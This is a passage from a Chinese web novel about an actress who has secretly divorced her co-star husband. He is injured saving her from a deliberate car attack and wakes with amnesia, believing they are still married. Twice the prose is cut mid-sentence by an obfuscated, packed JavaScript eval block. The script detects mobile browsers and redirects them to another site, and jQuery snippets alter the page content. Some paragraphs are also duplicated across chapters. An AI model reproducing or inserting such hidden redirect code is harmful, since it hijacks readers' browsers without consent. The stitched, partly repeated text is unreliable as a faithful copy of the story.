好在还有社交媒体,他可以在上面看到云灯每天活动现场的实况照片。近半年来他刷新娱乐新闻的频率比过去小半辈子都多。 他的职业身份是演员,在剧组的摄像机里工作,很多时候并没有那么光鲜靓丽,只是根据角色改变。有很多优秀的演员前辈,敏感内向,潜心钻研角色,对剧组以外的媒体镜头难以适应。 但云灯显然不是。再也找不到比她更适合生活在聚光灯下的面孔,仿佛只要灯光还亮着,她就能永远保持得体的微笑,没有疲色。 美丽得无可挑剔。 叶平川触碰屏幕,长久地注视这张脸,只觉被重重疑影包裹着,看不清虚实。 她非常擅长笑。在不同时刻里,不同幅度的笑容,她总是能游刃有余地控制表情。 以至于他回忆无数画面,都无法斩钉截铁地断定,哪一刻她是因为真的开心才笑的。 或者反过来说,她从来没有真正开心过吗? 他始终想不通。云灯不习惯戴腕表,宋澄锦也知道,所以不可能会在送他的同时再送一块给她。即使要送也会送情侣款,不会送一模一样的。 待会儿云灯回来,问她十有九点九九又会被糊弄过去。 还不如趁她不在,他亲自去找一找答案。 月黑风高。叶平川早早就收工却逗留在片场,避开众人眼线,行为鬼祟地上了云灯的保姆车。 其实大家看到他也根本不会在意。纯粹是心理作用,他结婚那天起就发誓这辈子都听老婆的话。生平第一次来偷翻老婆的东西,感觉就像学生时代第一次旷课出去上网。 昨晚云灯是睡醒就被接走的,那块表她没有戴走,就只能是还在车里。 他检查了沙发,茶几和所有的储物柜,连冰箱都没放过。终于在床下抽屉的暗格里,找到一只眼熟的黑盒。 打开盒子,里面除了那块手表,还有一张卡片。似有预感,叶平川翻到有字的那面,心脏又开始狂跳。 卡片上摘抄着莎士比亚的诗。字迹和内容都和他生日那晚,云灯写给他的一模一样。 ——可否将你比作夏日的一天? 尽管你比它更加可爱,温柔。 叶平川死死地盯着卡片,炽热得要把字迹灼出新的笔划。 一颗跳动的火种从灰烬中死而复生。 这块表原本是要给他的。 是云灯要送给他的。 现在就算云灯站在他面前,再说什么残忍的话,他都听不进去了。 叶平川叠好卡片小心地揣进口袋,叫了辆车,准备找梁天那个卧底问出她们京市住的酒店位置。 他一秒钟也不想再等。 哪怕一厢情愿,从她那里得到的只是又一次毫不留情的嘲讽奚落。 至少到她那儿去。 他打完电话,离开片场准备去提车。邓晓琼过来叫住她,一只手还举着手机,“诶!正好你在这儿。云灯说她们今晚有事耽误回不来了,叫我跟你说不要等。” 叶平川颔首,“好。”他本来也没打算再等。 “嗯,那你们输完液就早点回去休息。” 邓晓琼继续说着,是在叮嘱手机里正在通话的人,“别在医院停留太久,免得被认出来。” 叶平川脚步一顿,又急切地倒了回来。 “是谁在医院?” ** 活动结束后的自助餐,梁天猝不及防地把自己吃了个食物中毒。 刚到酒店就上吐下泻,整个人快不能自理。云灯看情况不对,迅速把她送到医院急诊,确认急性肠胃炎。 她一个当助理的,让老板大晚上在医院忙来忙去,还特意给她要了个单人病房。简直倒反天罡。 她虚弱又内疚,“姐,要不你还是先回去休息吧。我已经好多了,输完液自己回就行。明天你还得拍戏呢。” “没事,我让司机把车留下了,陪你待会儿,等你睡着了再走。我回去闲着也是闲着。” 云灯无事可做,也不想玩手机,就拿了她的平板涂画,“酒店里太闷了,在医院还能观察一下生活。” 病房门口正对着护士站。她煞有介事地用笔比了比横竖,在空白画布上创作。 看起来像是专门学习过素描之类的,有美术功底的人呢。 梁天起初不敢打扰,片刻后,还是忍不住探头观摩她的大作。 超绝火柴人画风。 “……” 对着这个是怎么画得一脸认真,还能不笑出声来的?专业演员的信念感就是强。 她躺在病床上感慨完,又扯着输液管往床边挪了挪,“姐,你是不是有心事啊。” 云灯一本正经地换了个笔划,还在为自己的作品润色,“怎么会这样问呢?” “就是感觉,你好像在烦恼什么。” 虽然工作都照常推进,没有耽误任何,但女孩子天生的敏锐触觉还是让她发现了,“是不是因为川哥?你们俩闹别扭好几天了,还不准备和好呀。” 她眼里的云灯就是有这种本领。只要想,随时都可以和好。 “小天,”云灯忽然用一种严肃的口吻对她说,“如果我和他离婚了,你跟谁?” 梁天猛地被问住了,仿佛遭遇那道童年阴影级别的难题——父母离异选爸爸还是妈妈。 可她本来就是云灯的助理,压根不存在被判给谁这种问题啊。 她才反应过来云灯是在开玩笑,又遭到一击重创,“是的,我们的确已经离婚了。” “……” 再三确认这回是说真的,梁天如遭晴天霹雳,cp粉头心碎当场,“离,离……离了?!为啥啊!” “没办法啦,爱是会消失的。”云灯给出了一个最普通常见,也是最无法可解的理由,局外人似的反过来安慰她,“习惯就好。” 梁天心碎了一会儿,努力地消化完这个事实,悲伤转化为哀愤,明确立场,“没想到川哥是这种人!男人果然都是善变的动物,姐你一定受苦了。” “……”云灯露出相当复杂的表情,缓缓点头,“对,他并没有多么爱我。” 就这么理解,挺好。 精心挑选的力气没有白费,她身边的都是甜妹萌物。 虽然之后官宣离婚,肯定会以体面为主,但听到消息的,没有谁会相信所谓的和平分手。每个人心里都总会有偏向的。 所以她不会为叶平川说好话。 万一真撕破脸了,肯定是站在她这边的人更多,更好。 只是这句“他没有多爱我”的话说完,她也晃了下神。 有些晦暗幽微的心绪,会随着不经意的话语从嘴边溜出来。甚至是说完才会意识到,自己原来是这样想的。 像叶平川一般的人,生来就拥有太多,也太轻易。在爱情里吃到的苦头,他很快就能找到别的东西去补足。 这个世界上能让人感到快乐的事有很多。需要被维护的感情是最累,也最不划算的一种。 他是因为只谈过这一段恋爱,所以还不明白。等事情过去久了之后再回头看,说不定还会庆幸及时离婚呢。 “怪不得你到最后才请叶老师来救场……肯定也是逼得没有办法了。” 梁天越想越心疼她,“要不然谁会愿意跟前男友共事呢。我之前还,还总是在那说你们……姐你应该早点告诉我的。” “没关系。大家说什么,我们听听笑笑也就算过了,不会很难受的。”云灯道,“都离婚大半年了,也不是这两天的事,早就调整好了。不然我也不会放心让他进组啊,这不添乱么。” “唉,也是。” 梁天余光又扫到她笔下的火柴人,这会儿也笑不出来了,“不过你还是太厉害了。我跟我前男友都分手三年多了,再提起以前的事还是难受呢,更别说每天面对面地工作。” “这个项目结束就好了。”云灯说。 “嗯嗯。”梁天一点就透,“等这部戏拍完,你们就会官宣离婚的消息吗?” “对。” 反正她是这么想的。 估计叶平川也不会有异议。巴不得越早离开剧组越好呢。 “那有生之年,应该是看不到你们三搭了。”梁天惋惜地叹气,“你是不知道这次开机仪式上演员阵容公布,群里有热闹。大家都高兴疯了,还祈祷说你们应该再专门拍一部电影记录恋爱史呢。” “不会有了。”云灯笑了笑,“不过电影还是要拍的,大家有时间就帮我祈祷一下拿到好剧本吧。” 行业内都是有鄙视链的,电影演员的咖位高于电视剧演员。她两次出圈都是电影,这几年却一直在拍长剧,算得上是主动降咖了,也没再出什么爆火的作品。 朋友们问起来,她都说是因为拍电视剧更挣钱。但要是能吃到自己早年爆火的红利,她怎么可能放过呢。 让她声名鹊起的出道作《潮夜》,本该把她一举推向更大的舞台。但现实是在电影上映之后,她的每一次路演都被紧密地监视着。宣传期结束,她就再也没有参与任何作品的试镜和拍摄。 电影的爆火在傅谦明的意料之外,也在他的允许范围之外。风头最劲的那两年,她被硬生生地雪藏在港市一处私密的庄园里,几乎没有出过门。 原本的大好前途都被一天天消磨,耗光了。乃至于她逃离港市后,要自己从头开始找角色。 ——若非如此,以叶平川当时的状况,顶多算是二三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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午夜的风阴冷刺骨。来时仓促,注意力都在病号身上,她花了些时间才找到车停在哪儿,上车时人都快冻僵了。 这似乎是她离开港市以来,最难挨的一个寒冬。 开车回酒店的路上,云灯总是想到那块没有送出去的手表。 想到那双欲言又止,尽力克制的漆黑眼眸。 她留下陪梁天,也有一部分原因是不想太快回剧组。 她不知道叶平川要说什么,但是一想到他就脑壳疼。 不想面对。 很奇怪。她以为把话都说绝了,怎么都能舒心一阵子的。不说很久,起码再多几天吧。 可这一点点决裂的精神刺激,实际体验比她在床上到达high点的那几秒还短。 红灯亮起的十字路口,只有她一辆商务车,孤独地停在倒计时的灯牌下。 她又在因为叶平川烦心。 在一起会烦,分开了也烦。她跟叶平川最好的关系就是毫无关系。 回去就把手表送人好了。她冷静地想。 转手卖掉也行。 万一《胜春朝》收视率扑街,她投的钱都打水漂了,还能靠这个回回血。 倒计时还有二十几秒,这个红灯似乎格外漫长。前后都没车,她觉得太安静了,单手扶着方向盘点开司机的歌单,想找点好听的来提神。 切了一首又一首,全是上个世纪的乡村摇滚,仿佛误入午夜电台,又土又嗨。 变故就发生在这分心的数秒间。 空荡的道路上不知从哪窜出一辆无牌车,从引擎轰鸣由远及近不要命地加速,从侧方直冲而来! 在云灯意识到自己是车辆的目标时,距离已经太近。 车熄了火,现在起步根本无法躲开!她只来得及调整姿势,身体尽可能地后倾,紧贴着座椅,双手握紧方向盘,准备承受巨大的冲击力。 电光石火之间,第三辆车以最高时速从后方疾驶而来! 一切都发生得太快,她无法看清窗外发生了什么,轰然的撞击声已然贯穿耳膜。轮胎摩擦地面发出刺耳的尖叫,红灯依然在跳动,灼烧着颤栗的神经。 云灯全身紧绷地坐在车里。完好无损。 而前方不远处,两辆车撞在一起双双报废,车尾箱着了火。 脑海中警报拉响。她狠狠地吐出一口气,意识到是后面有人故意开车冲过来,把朝着她索命来的无牌车向前撞飞了出去。 疯了吗? 又不是在拍电影,谁会这样做! 她解开安全带,下车的瞬间腿软得跌了一跤,立刻又扶着车门站起来,努力克服身体的恐惧,一步比一步走得更快。 “你好,我这边出了车祸……”她一边报警叫救护车,一边走过惊心动魄的路口,靠近着火的汽车,靠近刚刚救了她一命的疯子。 隔着几步的距离,透过变形的车门,她隐约能看到驾驶位上昏迷的人影,不知道还有没有一口气在。 她也怕车辆起火随时会爆炸。在自保和救人之间良心拉扯了两秒,咬咬牙还是走过去了,双手扒住门框,使出浑身的力气往外拉。 直到这时,她才看清楚趴在安全气囊上的那张脸。 那是她已知的整个人生里,看到过的最绝望的画面。 安全气囊上黏着浓重的血迹和玻璃碎片,也落得叶平川满头都是,骇人的红色闪烁在他的脸上反着光。 冰天雪地里,不断攀升的热度窒息而恐怖,空气里烧焦的血腥味把他浸透了。他一动不动地卡在那里,双眼紧闭,顺着脸往下淌的看不清是血还是泪。 31. 第 31 章 手术室外,云灯不停地揉搓着泛红发烫的手心。 血污早已洗净,她却无法停止重复的刻板动作,用力掐痛自己保持清醒,梳理思绪。 叶平川实在命大,出个车祸胳膊腿都没断,就是有点脑震荡,头皮上缝十来针,上救护车时血都不怎么流了。算是不幸中的万幸。 性命得到了保证,但死里逃生后她需要思考的问题太多,多到面无表情,心如乱麻。 那辆无人驾驶的空牌车是谁操控的,针对她的原因是什么?当时有没有恰好经过的路人拍摄视频,消息是否已经传了出去?叶平川怎么会忽然出现在那条路上?简直匪夷所思。 劫后余生,她压根没功夫或是感动,只有几近抓狂的烦恼。 又要处理一堆麻烦事了。叶平川参与其中更是让麻烦升级,她不得不去想,这么大的人情该怎么偿还。 如果刚才死在车祸里,她就不用想这么多事了。 云灯低头叹气,疲惫地揉了揉脖子。 等叶平川醒了,发现她是这么个态度,没准儿又要气到昏死过去。 她总是可以在所谓的真爱降临的时刻里,冷漠到叫人寒心。 她被警察叫去做笔录,还没回到医院就听说叶平川醒了,正在老老实实地配合去做各项身体检查,也没给她打什么电话。还算是省心。 离开警局时,她给宋澄锦打了个电话。 幸好叶平川没受什么重伤,否则她都不好跟家里交代,也没法儿厚着脸皮表达“不好啦有人欺负我啦妈妈一定要帮我报仇啊”的中心思想。 这里是京市,就算她有心想隐瞒,消息也逃不过叶家人的耳目,不如索性就交给他们去处理。可以借力的时候没必要自己硬扛。 大致安排好一切,她才回到医院,走进叶平川的病房。 这里跟前面梁天住院的病房不在同一栋楼上。叶家闻风而动,在她回来的路上就已经火速抵达医院,给他挪换了专门疗养的小院,又专门派人门口守着,随时带她过去。 如果没人引路,她都不知道医院里还有这种地方。外观看起来跟度假别墅没有什么区别,里面放了几个房间的精密仪器,配备齐全,大部分检查都不必跑去前院大楼里做,还配了专门的护理师跟营养师。 院子来了很多人,云灯一个也不认识,都只淡淡地点点头,继续往里走。只有病号待的主卧里还算清净,只有一个医生和一名护士。 叶平川靠坐在床头,脑袋被绷带缠得大了一号,面无表情地板着脸,怀里还抱着只垃圾桶。整个人看起来恹恹的。 云灯进门他也没什么反应。正想要问他怀里抱着个桶干什么,就见他脸色一变,埋头吐得昏天黑地。 “……” 是脑震荡的后遗症。 护士熟练地给他递了水和湿巾,等他漱完口又给他一只新桶,把刚吐完的那只拿出去清洗了。 不知道这是吐了第几次。他的脸色和纱布一样雪白,精神更差了。 云灯走到病床边,放轻声音问,“是不是很难受?” 叶平川这才发现是她来探望,抬眼的瞬间像被激活了似的,挺起腰坐得笔直。 云灯敏锐地察觉出异样。 叶平川看她的眼神不太对劲,变得很……规矩。 “云灯老师,我这边没什么大事,歇一晚上就行。”他用那种十分规矩的语气说,“要不你还是先回组吧,别耽误你时间了,我心里过意不去。” “……” 云灯:“你叫我什么?” 叶平川不太明白她为什么要问这个,一脸真挚地回答,“云灯……老师啊。” 事情变得有趣了起来。 “是脑震荡导致的逆行性遗忘,一般短时间内就会恢复。”医生在旁边解释,“每年冬天滑雪的人里常会有摔成这样的,不用过于担心。” 叶平川醒来后确实记忆一片空白,但他自以为是摔懵了,又是头疼耳鸣又是恶心呕吐的,没想那么多。这会儿才听出不对,“我不是在剧组拍戏受伤了吗?” 云灯问,“你还记得自己在哪个剧组拍戏吗?” “当然是我们……我们不是在拍无影之地吗?难道已经拍完了?”叶平川皱起眉毛,“现在是哪一年?” 他丢失了近几年的记忆,还把拍摄《无影之地》时受伤的记忆弄混了,因此云灯出现在这里,即合理又不合理。 云灯告诉他年份,又向他描述这场车祸是如何发生的。但他连当下的记忆也很难维持,说过的话几分钟就会忘掉。 “导演怎么能让你陪我来医院。我的助理呢?”他试图串起正确的时间线,但大脑一用力,就会有尖锐的疼痛闪烁,像短路的灯泡。“……现在是几几年?” 他一遍一遍地问,云灯就一遍一遍耐心地答。 直到宋澄锦又打过来,告诉她即将登机。她通话没几句,忽然把手机递给叶平川,示意他接听。 叶平川还在跟短路的大脑记忆抗争,下意识地接住了手机,猝不及防从里面听见宋澄锦的声音,震惊得眼睛都睁大了,看了看手机,又转头看了看她。 “……妈?” 不是,这对吗? 他出了事,他亲妈居然给云灯打电话? 云灯陪说了半天话,终于可以停下来喝口水润润喉咙,顺便欣赏他变化莫测的表情。 很精彩。 最近烦他的时间比较多,都快忘了早期叶平川这么可爱。 难得接收到来自母亲嘘寒问暖的怜爱,叶平川被关心了一番,但根本没听进去多少跟自己有关的话。 因为宋澄锦一提到云灯,都是“灯灯”和“你老婆”换着叫。 ……这对吗? 很明显不对劲吧! 云灯悠哉地旁观他的反应找乐子,整个晚上只有这几分钟,见缝插针地放松了一下。最后接过电话,乖巧道,“嗯嗯,路上小心,不要太着急,注意安全。好的,妈妈再见。” 叶平川持续震惊中,左右脑互搏得出一个难以置信的事实。 通话结束,病房里安静得叫人不敢大声呼吸。 他沉默许久,终于忍不住,慎重又鲁莽地直接问出了口,“我们是不是结婚了?” 云灯微笑。 “是的呢。” ** 前所未有的恍惚感贯穿身心,叶平川仿佛接受了一场精神洗礼。 一觉醒来暗恋的同事成了我老婆。 谁懂。 或许是男人的本能作祟。随着云灯这句盖棺定论的回答,他脑子里闪过许多电影截图似的限制.级画面,主角都是他和云灯。身体不受控地发热。 很好。哪怕脑子忘了,几把也有在帮他记得。 他迅速且幸福地接受了自己有老婆的事实,连恶心呕吐的症状都极大地缓解了,立刻放下垃圾桶,捡回形象包袱。 现在的问题是,他只有片段的不可描述的记忆,实际感觉跟老婆还不太熟。 他不知道自己平时是怎么跟云灯说话的。在他的个人进度条里,这会儿才刚动了要追人家的念头,还只是同事关系,调情的话都没说过两句呢。 “要喝水吗?”云灯问。她喝剩下的半瓶不想浪费。 叶平川立刻点头接过,发现她随手递来的是刚刚喝过一半的水,双手攥着矿泉水瓶红了耳朵。 纯情得像个情窦初开的大男孩。 “谢谢,”他强自镇定地开口,还是磕巴了两下,“老,老婆。” 云灯:“……” 不敢想,等他记忆恢复后再想起这段,自己会尴尬成什么样。 云灯看了看手机,即便想再逗他玩一会儿也没时间,“我得回剧组了,上午还有戏要拍。” 叶平川看她站起身,意外道,“你这就走了?” “嗯,你好好休息。医生说要多睡觉,少动脑,这样才能恢复得更快。” “我不用睡觉就能恢复得很快。”他不假思索道,“我跟你一起走。” “不可以。”云灯连忙制止他,顺手打出亲情牌,“妈妈说会飞过来看你,还有什么想知道的,你待会儿可以继续问她。” “她飞过来很远,也很担心你,不能让她扑空对不对?” 叶平川迟疑了一下,被她哄小朋友的语气蛊惑,又靠回床头,闷闷不乐道,“那你什么时候收工啊。” 该死的记忆丢失,他都不知道最近云灯在拍什么。 “嗯……过两天?”云灯还在思索,看他委屈得脸都要皱巴了,改口道,“明天,明天一下班我就来看你。” “你保证吗?” “当然。” “是明天早上吗?明天早上睁开眼就能看到你?” “不是。要明天下班才能来。”云灯有点想笑,“你可以睡个长长的午觉,或许睡醒就能看到我了。” “哦。” 他明显还有些失落,但摆出坚强又懂事的态度,点点头说,“我会睡午觉的。说不定明天再见到你的时候,我就都想起来了。” 人总是会对未知感到恐惧。云灯猜想,或许他是因为脑袋里记忆空空,所以害怕一个人待着,“你在京市有记得的朋友吗,或者是比较熟悉的亲戚?无聊的话可以叫他们过来陪你。” “不用。我不想跟他们待在一起。”叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351271|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平川干脆地拒绝,朝院子里望了一眼。 “只是一个姓而已,他们不是我的家人。我不爱跟这儿的人见面。” 这倒是云灯没料到的。 叶平川每年都会回京市本家一两趟。这任家主跟他有特殊交情,族中有什么事也会叫他来看着,做个见证。 她原以为叶平川是旁系子弟,所以不能插手族务。听他现在的语气,或许是他看清里头的水深火热,自己不想掺和。 怪不得他刚刚醒来,脸色那么差。不只是车祸后遗症,身边被一群不想见的人围着,自然觉得讨厌,不想说话。 不过这都跟她没什么关系了。 叶平川不记得结婚,自然也不记得离婚。 他以后跟家族里面关系密切也好,疏远也罢,都对她影响不大。 叶平川故意起了个引子,以为她总要追问几句,起码再多待一会儿呢。没想到她只是点头说好,“那就不理他们。你自己玩儿。” “……” 眼见她还是要走。叶平川又开始脑袋疼,可还带着点少年人的自尊心,不想用装柔弱挽留她。想不出什么别的理由留住她,只能眼巴巴地看着,把自己憋得够呛。 云灯走到房门口,黏在她后背的热切视线就没挪开过。 弱小可怜求关注。 她还是动了点恻隐之心。折返回病床边,双手捧起叶平川失神的脸,在他血色淡薄的嘴唇上亲了一下。 “乖,在这里等着我。”她认真地许下承诺,“我一定会回来接你的。” 哪怕只是蜻蜓点水的吻,对现在的小叶来说也是巨大的刺激。 “好……” 他抿着嘴唇回味了许久,人早就走没影了,才回过神来,按床头铃叫人,“找个姓叶的过来跟我说话。” 云灯刚在这里跟他说的话,一方面是他脑子确实记不住东西,另一方面是看着她,他也不是很关心自己出了什么样的意外。没死就行。 现在她不在,是时候偷偷努力了。 临时负责他安危的叶家人闻讯进来,是个西装笔挺的中年人,凌晨仍穿戴得一丝不苟,站在病床边,用带着点客气的语调给他讲车祸始末。 叶平川边吐边听,一遍遍把关键字刻进脑子里,很快听出了问题关键。 这场车祸的目标并不是他。 “辛苦了大伯。我老婆现在安全么?”他印象里自己是第一次在外人面前说这个词,还有点生涩,“你们应该派了人在她身边吧。” “跟你这边是一样的。” 能一样吗?叶平川皱眉道,“我这儿有什么可守的,又不会有谁冲进来刺杀我。再给她身边多添点人手。” 云灯不在,他身上那股子大少爷的做派又冒出头,即使裹着纱布懒散地躺在病床上,使唤起人来十分顺手,“要机灵点的,扮成粉丝之类的去剧组蹲着,别打扰她拍戏。” “这些都没问题。世泽说这件事要怎么处理,处理到什么程度,都由你决定。” 叶大伯说,“不过等事情了结了,要你回趟老宅,年前先碰个面,一起吃顿饭。估计是许久没见,想你了。” “哦。”叶平川意味不明地笑了笑,露出一排白森森的牙齿,“人已经查到了?” 天底下哪有白得的好处。叶平川很小就知道不能对权力产生贪欲,最好也别跟京市的亲眷好友联系太深,一旦被绑住,就要受家族的驱使,做些身不由己的事。 其实小时候那点阴差阳错的情分,不还也罢。他又不是图什么报答才仗义援手的,没那么计较。 他还年轻,对自己的生活亦无不满,为了一点可有可无的好处,犯不着把自由搭进去。 偏偏他那小堂叔好像就看上他了,每次有事就把他往老宅里扯,搞得大家都以为他是什么太子党里的重要人物,明里暗里地伸手,想跟他牵线搭桥。 搞得他每次来京市见人,都要想尽办法装傻,假装看不出那些招揽的信号,实在累得慌。 “查到了,正在抓。”叶大伯道,“不过人并不在这边,我们可能还需要点时间。” 叶平川说知道了,躺下去闭目养神,“明天午觉之前带来见我。” 这要求并不苛刻。 毕竟再晚一点,就要耽误跟老婆见面了。 “可以,这事不难。”他说完,却还没走,沉默地望着病床上的人,似乎在等待什么。 叶平川翻了个身,沉闷的声音从被子里传来,“跟他说,年前我会回老宅吃饭的。” 总有特殊的情况。 一旦涉及家人的安危,什么自不自由的都靠边站。抄起尚方宝剑先砍了再说。 32. 第 32 章 “可以,这事不难。”他说完,却还没走,沉默地望着病床上的人,等一句明确的口信。 天底下哪有白得的好处。叶平川很小就知道这点,也避免跟京市的亲眷好友联系太深。否则一旦被绑住,就要受家族的驱使,做些身不由己的事。 偏偏他那小堂叔好像就看上他了,每次有事就把他往老宅里扯,搞得大家都以为他是什么太子党里的重要人物,明里暗里地伸手,想跟他牵线搭桥。 搞得他每次来京市见人,都要想尽办法装傻,应付四面八方招揽的信号,实在累得慌。 其实小时候那点阴差阳错的情分不还也罢,他又不是图什么报答才仗义援手的。没那么计较。他还年轻,对自己的生活亦无不满,为了些可有可无的好处,犯不着把自由搭进去。 但…… 总有特殊情况。 叶平川翻了个身,沉闷的声音从被子里传来,“年前我会回老宅吃饭的。” 一旦涉及家人的安危,什么自不自由的都靠边站。抄起尚方宝剑先砍了再说。 等到了这句话,病床边的男人才圆满地点头离开,“好。那你安心休养。” 房间里彻底安静下来。 叶平川背对着门,不声不响地发了会儿小脾气,才又坐起身。余光中瞥见他床头柜上多了两部手机,一个旧的一个新的,还有一张染血折皱的卡片。 他的旧手机屏幕已经在事故中碎成了蛛网,勉强还能开机看个大概的程度。贺卡则是从他衣服里找到的,叶平川拿起来看了很久,用力思索的脑子嗡嗡直叫。 贺卡上面写的诗句,他初中就在学校图书馆里读到过,是一首情诗。所以即便字体他不认得,也可以得出结论,这是云灯写给他的。 只是努力回忆了半晌,头晕眼花也想不起来,为什么他要把这张卡片贴身带着。 对他而言,车祸醒来的感觉就像是小说里写的,凭空穿越到了几年后。 结了婚还像在热恋期一样,互相在卡片上写情话么? 一瞬间他甚至有点妒忌几年后的他自己。吃这么好。 失去的所有更加甜蜜的记忆,他就更不可能放过。 叶平川把卡片展平,小心地放在枕头底下压着,拿起手机开始传输数据,从中寻找更多记忆线索。 更确切地说,是在寻找他和云灯相爱的证明。 他被教育成家庭观念至关重要的人,父母刚刚都通过了电话,唯一让他迫切想了解的就是他的合法伴侣,他的爱人。 以他对自身的了解,肯定会把老婆置顶。叶平川自信地点开聊天列表,发现最上面消息滚动的居然是工作相关。 然后是发小群,助理小唐,文件传输助手。聊天第一页,没有任何跟云灯有关的东西。 叶平川简直不敢相信,结婚后的自己居然是个这么忘本的人。 对得起老婆亲手抄写的卡片吗?对得起她拍戏途中还要挤出时间来探望吗? 你对得起谁啊叶平川! 他沉默不语,完全忘了自己是怎么出的车祸,只一味地埋头往下翻找。终于在列表中间毫不起眼的位置上,捕捉到惊人的一行信息。 ——前妻姐AAA灯灯大王。 ** 云灯必须要尽早赶回剧组拍摄的这场戏,是她的登基大典。 戏里新皇登基仪式需要在正午举行,戏外为了最好的拍摄效果,也选在太阳光充足的时间。 她这一场的戏服和妆造极其重工冠冕也与前朝造型不同,华丽而繁缛,紫金龙袍加身气场全开,一身下来得有二十斤负重。好在天冷,多穿几层反而保暖。 邓晓琼皱着眉,一脸的不容乐观,跟她商量反复拍摄了很多条,跟预先安排的不太一样。 主要因为登基大典上谢凭渊是群臣之首,叶平川也必然得出演,但事发突然,他不修养个几天是回不来了,只能先调整镜头的走势,之后再想办法让他单独补拍。 为了方便后期剪辑时切换流畅,云灯多拍了两倍的镜头备用,整场下来,接近零度的天气里后背也被汗浸湿了。 年龄最小的皇子也与群臣一起,像模像样地跪拜叩首,对着她眨巴眼睛,“皇姐千秋万岁。” 身旁的大臣连忙纠正他,“如今要称陛下了。” 新皇仁慈道了句“无妨”,得以展现手足情深。 逻辑上是这样的。但小演员充分理解了一旁叔叔的话,这条重拍时,他十分机灵地开口就是一句,“陛下千秋万岁~” “……台词错了糯糯,”导演叫停,“要说皇姐千秋万岁。” 小演员不解地指向旁边的演员,“叔叔说要叫陛下。” “那是叔叔的台词哦,不是你的。” “哦……” 他似懂非懂地点头,再开机时,乖乖地讲出来,“皇姐千秋万岁~” 一旁大臣又道,“如今要称陛下了。” 怎么又变了?他彻底被弄糊涂,急得要掉眼泪,“可是,可是导演姨姨说,就是叫皇姐呀!” 究竟是这样还是那样,小小的脑袋瓜陷入了思考的怪圈。偏偏人小又执拗,这么循环了两次邓晓琼都被逗笑了,无奈道,“休息一下再拍吧。” 小演员气馁地抹眼睛,撅着嘴巴举高双手,想要妈妈抱。 他的妈妈同时也担任着他的经纪人,商务对接繁忙,正站在一旁边打电话。腾不出手来,只能不耐烦地呵止,“是不是说好了,要拍完才能抱?不准在工作时撒娇,这么多人难道要因为你耽误进度吗?啧,不准哭!” “童星不好当啊。”申雪舒看着也小声感叹,“这么点大就出来工作了。他连工作这两个字怎么写都不知道呢吧。” 云灯瞥她一眼,把小演员拉到身边擦了擦眼泪,柔声道,“好了糯糯,别怕。不用着急,我们慢慢拍也可以。” 小演员抽噎着回头看妈妈,发现她并没有在注意自己,才敢哭得更放肆些,“我是不是太笨了?” “当然不是。你只是太想好好表现了,害怕自己拍得不好才着急的。” 云灯放慢语速说,“你看,叔叔阿姨们也会出错啊,糯糯等我们重拍的时候都没有生气,所以别的叔叔阿姨也不会生糯糯的气,对不对?不哭了。” 小孩把她的话听进去,放心了许多,很快就停止了哭泣。不再被情绪拖累,就开始主动寻求解决问题的办法,“那糯糯怎么办呢?我不知道该说什么话,好像说什么都不对……妈妈说要理解台词,才能演好。但是我不明白那是什么意思。” “那就先不管它,不理解也没关系。”云灯道,“不管别的叔叔说什么,你都只说自己的台词,就可以了。” 这么一来,重拍的这条才总算是过了。小演员也重振旗鼓,又活泼起来。申雪舒看着觉得有趣,“你还蛮会哄小孩子的嘛,陛下。” “我小时候也这样,不能接受自己有任何做不好的事。”她不意外地说,“归根结底是在看大人的脸色。要么是想得到表扬,要么是怕搞砸了挨骂。” “你呢,是要表扬还是怕挨骂?” 云灯想了想,“都不是。” 小时候在家经常挨大人的骂,但她很清楚,那跟她是否把事情做好没有关系。辱骂总是毫无预兆的,她怕也没用。 学校里的大人又是另一种模样。老师总指望着她比赛得奖,或者当个课代表为班级出力,还总说些“全靠你争光”“只有你能做好”之类的漂亮话。那种期许中总是隐含着微妙的暴力。她也不是想要表扬才去做,而是不得不做。 于她而言,会看脸色似乎是与生俱来的直觉,是一种生存本能。 “待会儿收工去喝一杯?”申雪舒并不在意这个话题,一只手扶着她的肩膀,慢腾腾地伸了个懒腰。“趁你老公不在,我可以陪你讲他几句坏话。” 云灯不假思索地拒绝了,“今天没空。” 话刚说完她就打了个喷嚏。像是种印证,有人正想着她。 申雪舒要笑不笑地撇嘴,朝她身后扬了扬下巴。“那改天再约。” 她身后的车刚刚停稳。车门打开,梁天抱着包下来,朝她身边一溜小跑,又兴奋又担忧,“我还是第一次坐劳斯莱斯呢!姐,川哥头上的伤怎么回事啊,难道昨晚你俩打架了?” “……你还挺会搭顺风车。”云灯视线被阻挡,下意识地拨开她。视线从始至终都停留在后方。 原本说好要在病房里乖乖睡觉修养的人,还是急不可耐地跑来剧组了。 叶平川下了车,望见她瞬间扬起笑脸,还挥了挥胳膊。 笑得那么阳光灿烂。看样子是还没恢复记忆。 云灯没来由地松了口气。 “我都睡两觉了你还没下班,遇到你助理才知道,原来剧组离这么近。不早说。” 他一路过来步子走得又快又稳,除了脑袋上缠着圈纱布,几乎看不出是个病人。还一脸新奇地打量云灯的造型,“这是拍什么?你要登基啊?” “已经登过了。”云灯说。 她对眼神清澈的小朋友总是格外多些耐心,也没有拒绝他迫不及待的拥抱,“正要去看你呢。怎么不在床上乖乖待着等我?” “……” 这是可以听的吗。 昨晚才说离婚了,怎么今天又好了?一夜之间天翻地覆,这是什么速度。 带着一肚子疑惑,梁天缓缓退下。 “我出院了。”叶平川单方面宣布。“自己待着也是无聊,我早点出来看看你,说不定想起来得更快。” “医院那边也肯放你走吗?” 